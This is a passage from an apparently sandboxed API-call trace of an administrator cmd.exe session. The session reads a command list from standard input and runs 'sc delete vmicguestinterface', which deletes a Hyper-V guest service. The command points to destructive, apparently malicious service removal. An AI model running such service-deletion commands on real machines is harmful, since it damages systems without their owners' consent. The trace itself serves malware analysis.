lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.161] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="upexchange\n") returned 1 [0067.161] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.161] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.161] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.161] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e340, cchWideChar=1 | out: lpWideCharStr="eexchange\n") returned 1 [0067.161] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.161] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.161] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.161] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e342, cchWideChar=1 | out: lpWideCharStr="sxchange\n") returned 1 [0067.161] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.161] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.161] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.161] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e344, cchWideChar=1 | out: lpWideCharStr="tchange\n") returned 1 [0067.161] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.161] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.161] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.162] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e346, cchWideChar=1 | out: lpWideCharStr="ihange\n") returned 1 [0067.162] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.162] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.162] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.162] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e348, cchWideChar=1 | out: lpWideCharStr="nange\n") returned 1 [0067.162] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.162] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.162] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.162] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34a, cchWideChar=1 | out: lpWideCharStr="tnge\n") returned 1 [0067.162] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.162] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.162] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.162] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34c, cchWideChar=1 | out: lpWideCharStr="ege\n") returned 1 [0067.162] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.162] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.162] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.162] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34e, cchWideChar=1 | out: lpWideCharStr="re\n") returned 1 [0067.162] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.162] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.162] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.162] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e350, cchWideChar=1 | out: lpWideCharStr="f\n") returned 1 [0067.163] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.163] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.163] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.163] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e352, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0067.163] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.163] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.163] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.163] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e354, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0067.163] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.163] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.163] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.163] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e356, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0067.163] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.163] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.163] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.163] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e358, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0067.163] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.163] GetFileType (hFile=0xb8) returned 0x3 [0067.163] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.163] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.164] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.164] GetFileType (hFile=0x120) returned 0x3 [0067.164] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.164] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete vmicguestinterface\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete vmicguestinterface\n", lpUsedDefaultChar=0x0) returned 30 [0067.164] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x1d, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x1d, lpOverlapped=0x0) returned 1 [0067.164] GetProcessHeap () returned 0x4a0000 [0067.164] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4c0630 [0067.164] GetProcessHeap () returned 0x4a0000 [0067.164] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c0630 | out: hHeap=0x4a0000) returned 1 [0067.164] GetProcessHeap () returned 0x4a0000 [0067.164] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4b97e0 [0067.165] GetProcessHeap () returned 0x4a0000 [0067.165] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b8900 [0067.166] GetProcessHeap () returned 0x4a0000 [0067.167] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x46) returned 0x4baa40 [0067.167] GetConsoleOutputCP () returned 0x1b5 [0067.167] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0067.167] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0067.167] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0067.167] GetProcessHeap () returned 0x4a0000 [0067.167] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0067.167] GetProcessHeap () returned 0x4a0000 [0067.167] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4c) returned 0x4b5c50 [0067.168] GetProcessHeap () returned 0x4a0000 [0067.168] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4b8980 [0067.168] SetErrorMode (uMode=0x0) returned 0x1 [0067.168] SetErrorMode (uMode=0x1) returned 0x0 [0067.168] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4b8990, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0067.168] SetErrorMode (uMode=0x1) returned 0x1 [0067.168] GetProcessHeap () returned 0x4a0000 [0067.168] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b8980, Size=0x62) returned 0x4b8980 [0067.168] GetProcessHeap () returned 0x4a0000 [0067.168] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b8980) returned 0x62 [0067.168] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0067.168] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0067.168] GetProcessHeap () returned 0x4a0000 [0067.168] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b9db0 [0067.168] GetProcessHeap () returned 0x4a0000 [0067.168] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0067.168] GetProcessHeap () returned 0x4a0000 [0067.168] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0067.168] GetProcessHeap () returned 0x4a0000 [0067.168] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0067.168] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0067.168] GetProcessHeap () returned 0x4a0000 [0067.168] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0067.169] GetProcessHeap () returned 0x4a0000 [0067.169] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0067.169] GetProcessHeap () returned 0x4a0000 [0067.169] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0067.169] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0067.169] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0067.169] GetLastError () returned 0x2 [0067.169] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0067.169] GetLastError () returned 0x2 [0067.169] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0067.169] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0067.170] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0067.170] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0067.170] GetLastError () returned 0x2 [0067.170] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0067.170] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0067.170] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0067.170] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0067.170] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0067.170] GetProcessHeap () returned 0x4a0000 [0067.171] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b8a00 [0067.171] GetConsoleTitleW (in: lpConsoleTitle=0x4b8a10, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0067.171] GetProcessHeap () returned 0x4a0000 [0067.171] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b8a00, Size=0xb2) returned 0x4b8a00 [0067.171] GetProcessHeap () returned 0x4a0000 [0067.171] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b8a00) returned 0xb2 [0067.171] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete vmicguestinterface") returned 1 [0067.172] GetProcessHeap () returned 0x4a0000 [0067.172] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b8a00 | out: hHeap=0x4a0000) returned 1 [0067.172] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0067.172] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0067.172] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0067.172] GetProcessHeap () returned 0x4a0000 [0067.172] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0067.172] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0067.172] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0067.172] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0067.172] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0067.172] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0067.172] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0067.172] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0067.172] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0067.172] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0067.172] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0067.172] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0067.173] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0067.173] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0067.173] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0067.173] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0067.173] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0067.173] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0067.173] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0067.173] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0067.173] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0067.173] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0067.173] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0067.173] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0067.173] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0067.173] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0067.173] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0067.173] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0067.173] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0067.173] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0067.173] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0067.173] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0067.173] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0067.173] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0067.173] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0067.173] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0067.173] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0067.173] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0067.173] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0067.173] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0067.174] GetProcessHeap () returned 0x4a0000 [0067.174] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0067.174] GetProcessHeap () returned 0x4a0000 [0067.174] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b5cb0 [0067.174] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete vmicguestinterface", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete vmicguestinterface", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete vmicguestinterface", lpProcessInformation=0x2cecc0*(hProcess=0x50, hThread=0x54, dwProcessId=0x414, dwThreadId=0x4e4)) returned 1 [0067.178] CloseHandle (hObject=0x54) returned 1 [0067.178] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0067.178] GetProcessHeap () returned 0x4a0000 [0067.178] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bfb10 | out: hHeap=0x4a0000) returned 1 [0067.178] GetEnvironmentStringsW () returned 0x4b8a00* [0067.178] GetProcessHeap () returned 0x4a0000 [0067.178] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0067.178] FreeEnvironmentStringsW (penv=0x4b8a00) returned 1 [0067.178] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0067.178] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffdf000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0067.178] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0067.435] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0067.435] CloseHandle (hObject=0x50) returned 1 [0067.435] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0067.435] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0067.435] GetProcessHeap () returned 0x4a0000 [0067.435] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0067.435] GetEnvironmentStringsW () returned 0x4b8a00* [0067.435] GetProcessHeap () returned 0x4a0000 [0067.435] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0067.435] FreeEnvironmentStringsW (penv=0x4b8a00) returned 1 [0067.435] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0067.435] GetProcessHeap () returned 0x4a0000 [0067.435] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0067.435] GetEnvironmentStringsW () returned 0x4b8a00* [0067.435] GetProcessHeap () returned 0x4a0000 [0067.435] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0067.435] FreeEnvironmentStringsW (penv=0x4b8a00) returned 1 [0067.435] GetProcessHeap () returned 0x4a0000 [0067.435] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5cb0 | out: hHeap=0x4a0000) returned 1 [0067.436] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0067.436] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0067.436] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.436] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0067.436] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.436] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0067.436] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.436] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0067.437] GetConsoleOutputCP () returned 0x1b5 [0067.437] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0067.437] SetThreadUILanguage (LangId=0x0) returned 